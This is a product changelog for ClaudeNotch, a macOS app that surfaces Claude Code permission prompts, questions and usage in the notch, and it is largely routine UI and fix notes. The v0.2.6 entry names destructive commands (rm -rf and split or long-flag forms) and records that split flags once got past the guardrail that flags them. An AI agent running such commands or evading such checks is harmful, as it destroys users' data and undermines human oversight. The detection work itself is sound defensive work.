The command-line hook installer (used when installing from source) now preserves any other Claude Code hooks you already have, instead of replacing them with only ClaudeNotch's.
The in-app Setup already did this; the script now matches it. Most people install via the app and were never affected.
v0.2.39
June 16, 20261 fixed- 1/1
Fixed a rare crash that could happen when no display was attached, for example with the laptop lid closed and no external monitor connected, or while displays were being reconnected.
The notch now falls back gracefully instead of quitting.
v0.2.38
June 11, 20261 fixed- 1/1
Deny-with-a-reason now works for non-English text.
A longer reason written in a language like Japanese or Chinese could be cut mid-character and then dropped entirely, so Claude received a bare deny with no explanation. Reasons are now trimmed safely on character boundaries.
v0.2.37
June 10, 20261 fixed- 1/1
Question cards no longer carry over state between prompts.
When two sessions each asked a question and they showed one after another, the second card could keep the first one's selected options or typed answer, and a question with a different number of parts could leave some unanswerable. Each prompt now gets a clean card. The hold-to-confirm progress on a permission card also no longer carries over to the next request.
v0.2.36
June 9, 20261 fixed- 1/1
You can now paste into the notch's text fields.
Pasting (Cmd+V) into the "type your own answer" field, the quick compose box, and the search box did nothing before, because the menu-bar app had no Edit menu for the shortcut to hook into. Cut, Copy, Paste, and Select All now all work.
v0.2.35
June 9, 20261 fixed- 1/1
More multi-session polish.
After one of several sessions ended, the notch could jump to the wrong session (the oldest one) instead of your most recently active one; it now picks the right session. The top lists in the Claude Usage menu (busiest hours, top tools, by model, by project) also no longer reshuffle when entries are tied.
v0.2.34
June 8, 20261 fixed- 1/1
Stable order for multiple sessions.
When more than one Claude session was running, the rows in the notch reshuffled their position about once a second. They now keep a fixed order based on when each session started, and a new session simply appears at the bottom instead of bumping the others around.
v0.2.33
June 6, 20261 added- 1/1
Personalise the notch title.
The first part of the title used to always read "Claude". A new Notch Title menu now lets you choose what it shows: Claude (the default), Project name (which tracks whatever project is active and falls back to Claude when there is none), or a Custom label you type in. Handy when you run several projects at once and want the notch to say MyApp instead of Claude. Thanks to Luca Galli (@Lvcaa) for suggesting it.
v0.2.32
June 5, 20261 added1 fixed- 1/1
Real plan-limit usage in the status bar, and you choose what it shows.
The bottom bar used to estimate usage by dividing a guessed dollar cost by a hardcoded cap, which read 100% for heavy users with no way to change it. It now reads the authoritative numbers Claude Code itself reports: real 5-hour and weekly plan-limit usage, plus true context-window usage. Pick any two items to show via menu, Status Bar: 5h plan limit, Weekly plan limit, or session cost. You can also override the context window there (Auto / 200K / 1M). Heads-up: to read those numbers, ClaudeNotch now installs a status line forwarder into Claude Code. It chains to whatever status line you already had so your terminal display is unchanged, is captured and restored if you uninstall, and degrades gracefully if the app is not running. Thanks to Luca Galli (@Lvcaa) for this one.
- 1/1
The context bar is now accurate.
Sessions on the 1M context window read far too high (a 50k-token session showed 25% instead of 5%) because the bar always divided by 200k; it is now model-aware. Sub-agent (Task) turns no longer deflate the reading, and the bar clears immediately when context is compacted instead of holding a stale-high value. Thanks again to Luca Galli (@Lvcaa).
v0.2.31
June 4, 20261 added2 fixed- 1/1
A cleaner idle pill.
The collapsed notch header now leads with the Claude brand icon, followed by the project name, a small status dot, and the status text on a single tighter line, so more reads at a glance while Claude is idle. Thanks to Luca Galli (@Lvcaa) for the redesign.
- 1/2
Loading a skill now shows which one.
When Claude Code invoked the Skill tool, the notch showed nothing useful. It now reads the skill name (and args) and shows it in the command strip with a wand icon, with matching "Load skill" and "loading skill" labels on the cards. Thanks again to Luca Galli (@Lvcaa).
- 2/2
Status labels in the idle pill are now capitalised (Ready, Thinking, Running command).
v0.2.30
June 4, 20261 added- 1/1
Make a cost cap a real ceiling, not just a warning.
Cost Budget has a new "Enforce: block new commands at 100%" toggle. With it on, once a session or daily cap is reached, the next tool or command Claude tries is held in the notch for a decision instead of running, even when you have auto-approve or an always-allow rule on. The card shows what is over budget and gives you Deny, Allow once, Raise to the next preset above your spend (so the run can continue), or Turn off. Pressing Enter does not auto-allow a budget block, the same as a destructive command, so you can't blow past a cap on muscle memory. Note this gates tool and command calls, which is what drives runaway spend; sending a message and getting a reply are not blocked. There is also a "Budget Hard-Stop" entry under Demos. Off by default.
v0.2.29
June 4, 20261 added- 1/1
Act on permission prompts from the lock screen or another Space.
Blocking permission requests now also arrive as native macOS notifications, so you don't have to be looking at the notch to respond. Safe commands get Allow, Deny, and Deny with reason right on the banner; dangerous commands offer Deny only, and Allow still brings you back to the Mac to confirm with Touch ID (the Allow action also requires unlocking first). Because they are real macOS notifications, they automatically respect Focus and Do Not Disturb: during a Focus session the banner stays quiet and the request waits for you in Notification Center and on the lock screen. They carry no sound, since the notch already chimes when you are at your desk. You can turn the whole thing off under Permissions, "Mirror Alerts to Notifications".
v0.2.28
June 3, 20261 added- 1/1
Search, filter, and export your activity history.
The activity drawer (the clock in the notch) used to keep only your last 50 decisions with no way to look anything up, so it emptied out fast. It now keeps up to 500, with a search box that filters live across the tool, command, project, and details as you type, plus quick filter chips for All, Allowed, Denied, Risky, and Q&A. A new Export button saves the whole log to a file as JSON or CSV (just name it .csv), so you have an audit trail of everything Claude asked and how you answered.
v0.2.27
June 1, 20262 added- 1/2
Confirm dangerous commands with Touch ID.
Destructive actions like rm -rf or sudo can now be approved with Touch ID (or Face ID) instead of press-and-hold. Tap "Confirm to Allow" and authenticate, and only a successful fingerprint runs the command. Turn it on or off under Permissions, "Require Touch ID for dangerous commands" (on by default when your Mac has biometrics); with it off, the press-and-hold button stays exactly as before.
- 2/2
See which projects cost you the most.
The per-project breakdown under Claude Usage now sorts by cost, highest first, and leads with the dollar figure, so your priciest repos for the week stand out at a glance.
v0.2.26
June 1, 20261 added- 1/1
Set a spending cap and get a heads-up before you blow past it.
A new Cost Budget menu lets you cap spend per session (say $5) and per day across all your sessions (say $25). As you approach a cap, the session's cost figure in the notch warms orange and then red, and you get a card at 80% and again at 100%. Setting a cap checks what you have already spent right away, so it works even if you set it mid-run. The figures are estimates from public pricing, so treat the caps as a guardrail rather than a hard limit. There is also a "Cost Budget Alert" entry under Demos so you can see exactly what the warning looks like.
v0.2.25
May 30, 20264 fixed- 1/4
Replies and composed messages now reliably type into your terminal.
The composer used to send by driving AppleScript, which needs the separate Automation permission and could fail with nothing appearing in your session. It now types using synthesized key events, which need only the Accessibility permission ClaudeNotch already uses, so a reply lands in the running Claude session as expected.
- 2/4
The composer shows which session you are replying to.
When you hit Reply on a finished task, the header now reads the project alongside the terminal it runs in (for example "claude mac app · Terminal") instead of just "Terminal", so it is clear where your message is going.
- 3/4
Clearer prompt when typing needs permission.
If Accessibility is not granted yet, sending no longer fails silently. ClaudeNotch opens the system prompt and the right Settings pane, keeps your text, and tells you to enable it and press Send again.
- 4/4
Fixed the composer's placeholder sitting on a different row than the blinking cursor, so the hint and the caret now line up.
v0.2.24
May 30, 20263 added- 1/3
Deny a permission with a reason.
The permission card now has a small speech-bubble button next to Deny. Tap it and a quick editor opens where you can tell Claude what to do instead, for example "use ripgrep instead of grep" or "write it to a temp file first". Claude receives your note and adapts, instead of just being blocked. A plain Deny (or Esc) still denies instantly with no note.
- 2/3
Reply to Claude straight from the finished card.
When a turn completes, the card now has a Reply button that opens the composer already pointed at that session, typing into the same terminal it ran in (or opening a fresh one in the project folder if that terminal has closed). You can send a follow-up without switching windows.
- 3/3
Type your own answer to a question.
When Claude asks you to pick from options, each question now has a "Something else…" field, so you are not limited to the presets. For a single-choice question your typed answer is used; for a multi-choice one it is added to whatever you have ticked. Either way Claude receives it just like a picked option.
v0.2.23
May 30, 20263 fixed- 1/3
Sending a multi-line message from the notch composer now works.
If your message ran to more than one line, it used to silently fail to type into your terminal and nothing was sent. Each line is now typed correctly, so longer messages go through.
- 2/3
The Insights totals stay accurate when you approve a batch at once.
When Claude fired several identical requests and the notch folded them into a single card, approving or denying it only counted as one decision in your allow and deny tallies. Each folded request is now counted, so the numbers match what actually happened.
- 3/3
A handful of small robustness fixes under the hood, including guarding against a rare crash when no display is attached and tidying up the global hotkey when the system declines to register it.
v0.2.22
May 30, 20261 added- 1/1
A context and cost meter on each session.
The notch now shows how full Claude's context window is and a running estimate of what the session has cost so far, next to the model name. The little bar warms from blue to orange to red as the window fills up, so you get a heads-up before Claude pauses to compact, and it switches to "compacting context" while that happens. It handles both the standard and the 1M-token context windows automatically. Cost is an estimate from public pricing, not a real bill, and it lives right on the session row so you can keep an eye on long runs without leaving your editor.
v0.2.21
May 29, 20261 added- 1/1
A live command strip in the notch.
While Claude is working, the notch now shows what it's doing right now, the active tool with an icon and its target (for example a pencil next to "Edit: src/foo.swift"), with the status label gently shimmering. The moment a tool is approved the strip updates to show it running, and it switches to "Thinking" between steps, so the notch reflects what's happening as it happens instead of lagging a step behind. Thanks to @Lvcaa.
v0.2.20
May 29, 20261 added1 fixed- 1/1
More prompts now reach the notch.
Approvals that Claude Code raises separately from a normal tool run, like "proceed with this plan?" after plan mode and the confirmation for updating its to-do list, used to appear only in the terminal. They now show up as a card in the notch so you can approve or deny them without switching back. If the notch can't handle one for any reason, Claude's usual terminal prompt still runs, so nothing ever gets stuck.
- 1/1
The status line under the notch no longer flickers between two sessions.
When you had more than one Claude session open, or had just closed one, the last-reply line could rapidly switch back and forth between them. The notch now pins that line to the session you're actually watching.
v0.2.19
May 29, 20261 added1 fixed- 1/1
Task progress in the notch.
When Claude works through a multi-step task list, each session's row now shows a small progress bar with a running count like "3/5", so you can see at a glance how far along it is. The bar fills as tasks complete and turns green once they're all done. It appears automatically whenever Claude uses its task list and clears when a new list starts.
- 1/1
Reinstalling over a running copy now actually swaps in the new version.
The installer used to just re-focus the already-running app, so an update could silently keep the old build in memory until you quit and reopened it. It now restarts the app on install.
v0.2.18
May 29, 20261 added- 1/1
Multi-session awareness.
When you run more than one Claude Code session at a time, the notch now tracks each one separately instead of collapsing them into a single status. The header shows how many sessions are live (e.g. "Claude · 2 sessions"), and opening the notch lists each session by project with its own live status and a dot that pulses while that session is working. Tap a session's row to read its latest reply. Sessions drop off the list as soon as you exit Claude (Ctrl+C / Ctrl+D / exit) or close the terminal, so the list reflects only what's actually running.
v0.2.17
May 28, 20261 added- 1/1
Optional persistent notch display.
When turned on, the notch stays open while Claude works and shows a live status line (Claude thinking, running Bash, editing, replying, done) with Claude's latest output as it streams in, and the status dot pulses while Claude is busy. It's off by default and keeps the usual hover-to-open behavior; enable it with "Persistent Notch Display" in the menu bar. Thanks to @Lvcaa.
v0.2.16
May 28, 20261 added- 1/1
New "Claude Usage" section in the menu bar shows how much you've used Claude Code itself: tokens and an estimated cost for today and the last 7 days, broken down by model and by project, a 7-day token sparkline, your prompt-cache hit rate and the cost it saved, your busiest hours, and sessions with average tokens each.
Token counts come from Claude Code's own local transcripts; cost is an estimate from public API pricing (a subscription isn't billed this way). This is separate from the existing Insights menu, which tracks ClaudeNotch's own permission and tool activity.
v0.2.15
May 28, 20262 fixed- 1/2
Your usage stats no longer reset when you update to a new version.
The stats were always saved locally, but the app used to throw away the entire saved file whenever a release added a new field to it, so every update looked like it wiped your history. The app now reads older saved files field by field and keeps everything it can, so your stats and history carry across updates.
- 2/2
Answering an AskUserQuestion in the notch no longer also leaves the terminal waiting for input.
The notch used to let Claude Code render its own prompt and then type your answer in for you, which could miss if the timing or window focus was off. Your selection in the notch is now sent straight back to Claude, so the terminal never asks a second time.
v0.2.14
May 27, 20261 changed- 1/1
Notification and completed cards now lay their buttons inline next to the title and detail (instead of a separate bottom row), and the timestamp moves up next to the source label.
Cards read tighter and more like a native macOS notification. Permission cards keep their bottom button row since diffs and long commands need the horizontal space. Thanks to @Lvcaa.
v0.2.13
May 27, 20261 changed- 1/1
Notch card horizontal padding bumped from 22 → 28 pt for a softer left/right rhythm, and extracted into a single named constant so it's easy to tune in one place.
Thanks to @Lvcaa for the refactor idea.
v0.2.12
May 27, 20261 changed- 1/1
Balanced the spacing around the buttons row in every card (permission, notification, completed, response detail, history, composer, question).
Previously buttons were tight against the content with a lot of empty space below; now there's roughly equal breathing room above and below the row.
v0.2.11
May 26, 20262 added- 1/2
TodoWrite prompts now surface in the notch with a checkbox preview of the proposed todos (□ pending, ▣ in-progress, ✓ done).
Previously they were routed to the terminal.
- 2/2
ExitPlanMode ("Approve plan") cards now render the proposed plan markdown right in the card, so you can read what Claude wants to do before approving.
v0.2.10
May 26, 20262 fixed- 1/2
"Check for Updates…" now shows an alert in every case: a Download/Later dialog when a new version is out, "You're up to date" when not, and a "Couldn't check" warning on network errors.
Previously it could silently update the (closed) menu and look like nothing happened. Also brings the app to the front so the alert can't hide behind other windows.
- 2/2
First-launch instructions (README, website Install, FAQ, DMG README) updated for macOS Sequoia 15+, which removed the right-click → Open bypass.
The new path is: double-click → Done → System Settings → Privacy & Security → Open Anyway. Or install via Homebrew, which strips the quarantine attribute entirely.
v0.2.9
May 26, 20261 changed- 1/1
Swift 6 concurrency cleanup: replaced explicit NSLock lock/unlock pairs in EventServer with the modern withLock { } closure, and marked TerminalAutomator.debugLog as nonisolated.
No behavior change, just a cleaner, exception-safe foundation. Thanks to @simo-hue.
v0.2.8
May 26, 20261 fixed- 1/1
The Sound submenu no longer closes when you pick a sound, toggle Per-tool sounds, or toggle Mute.
You can now audition sounds back-to-back without re-opening the menu each time.
v0.2.7
May 26, 20267 added- 1/7
Activity heatmap in the Insights submenu: a 7-week grid showing when you've been active.
- 2/7
Daily digest: once a day, Insights surfaces a quick "Yesterday: X tools, Y allowed, Z denied, W risky" line.
- 3/7
Timed Auto-Approve: turn it on for 5, 15, 30, or 60 minutes and it reverts automatically.
Survives restarts safely (timed state is never persisted as permanent).
- 4/7
Snooze (15/30/60/120 minutes) suppresses notifications and completion cards.
Permission cards still show, because Claude is waiting on them.
- 5/7
Sound submenu: pick from 13 system sounds for alerts, or turn on Per-tool sounds so Bash, Edit, Write, and notifications each get their own chime.
- 6/7
Group similar prompts: when the same tool fires repeatedly within 5 seconds, the card collapses to "(×N) command" and one tap resolves all of them.
- 7/7
Welcome demo on first run: finish Setup and a sample card appears so you immediately see what the notch looks like.
v0.2.6
May 26, 20262 fixed- 1/2
Destructive-command detection now catches split flags (rm -r -f) and long forms (rm --recursive --force), not just combined (rm -rf).
Closes a real guardrail bypass. Thanks to @simo-hue for spotting it.
- 2/2
Hook installation no longer wipes existing user hooks in ~/.claude/settings.json.
ClaudeNotch's entries are appended (and de-duped on reinstall), so any other hooks you have at PreToolUse/Stop/etc. are preserved.
v0.2.5
May 25, 20263 added1 fixed- 1/3
Insights: a menu-bar view of your usage, covering approvals, denials, risky commands flagged, most-used tools, plus active days and streak.
All local.
- 2/3
In-app update checker: ClaudeNotch now tells you when a newer version is out and links straight to the download, with a manual "Check for Updates…" too.
- 3/3
An Auto-Approve (Live Activity) demo so you can preview the button-less auto-approved card.
- 1/1
Demos always show their UI now, even if you have an always-allow rule or Auto-Approve turned on.
v0.2.4
May 22, 20264 fixed- 1/4
Esc reliably closes any card, and keys no longer beep when another app is focused (handled via a global event tap, with no focus stealing).
- 2/4
Auto-approve now uses a soft, debounced sound, Esc dismisses the auto-approved card, and it stays visible for 4 seconds.
- 3/4
Compose caret is aligned with the placeholder text.
- 4/4
The DMG disk image now shows the ClaudeNotch logo.
v0.2.3
May 22, 20264 added2 fixed- 1/4
Auto-Approve All toggle (menu bar + onboarding): allows every tool automatically and just shows what's changing; destructive commands still ask.
- 2/4
Mute Sounds toggle.
- 3/4
Allow All (N): one tap or Enter approves multiple simultaneous permission prompts.
- 4/4
Send Message to Claude: pick a recent project to open a terminal with your message as the first prompt.
- 1/2
Open/close animation now runs even over other apps and in fullscreen.
- 2/2
Fixed the blank AskUserQuestion card, so text and options now render.
v0.2.2
May 22, 20264 fixed2 changed- 1/4
Open/close animation runs even when another app is frontmost or fullscreen (timer-driven, no longer paused in the background).
- 2/4
Keyboard returns to the terminal automatically after you press Enter.
- 3/4
Open IDE works reliably.
- 4/4
Cards no longer clip their buttons at the bottom.
- 1/2
Menu cleaned up: Demos and Permissions submenus, Title Case.
- 2/2
Real Claude logo for the app icon and menu bar.
v0.2.1
May 21, 20261 added3 fixed- 1/1
Launch at Login, with macOS approval handling.
- 1/3
Keyboard returns to the terminal automatically after Enter (no more stuck keyboard or error beep).
- 2/3
Open IDE now works reliably every time.
- 3/3
Start Claude in Folder actually launches the CLI (resolves the real claude path).
v0.2.0
May 21, 20265 added- 1/5
Real Claude logo (app icon + menu bar).
- 2/5
Smooth grow-out-of-the-notch animation (fixed-window, boring.notch-style).
- 3/5
Cards size to their content with proper padding on all sides.
- 4/5
Persistence, pattern-based always-allow rules, and a global hotkey (⌥⌘N).
- 5/5
Multi-line compose, diff previews, destructive-command warnings, and a history drawer.
v0.1.0
May 20, 20261 added- 1/1
First release: a Dynamic Island-style notch UI for Claude Code.
Stay on the latest
ClaudeNotch updates often. Download the newest build to get every fix and feature above.
Download ClaudeNotch for macOS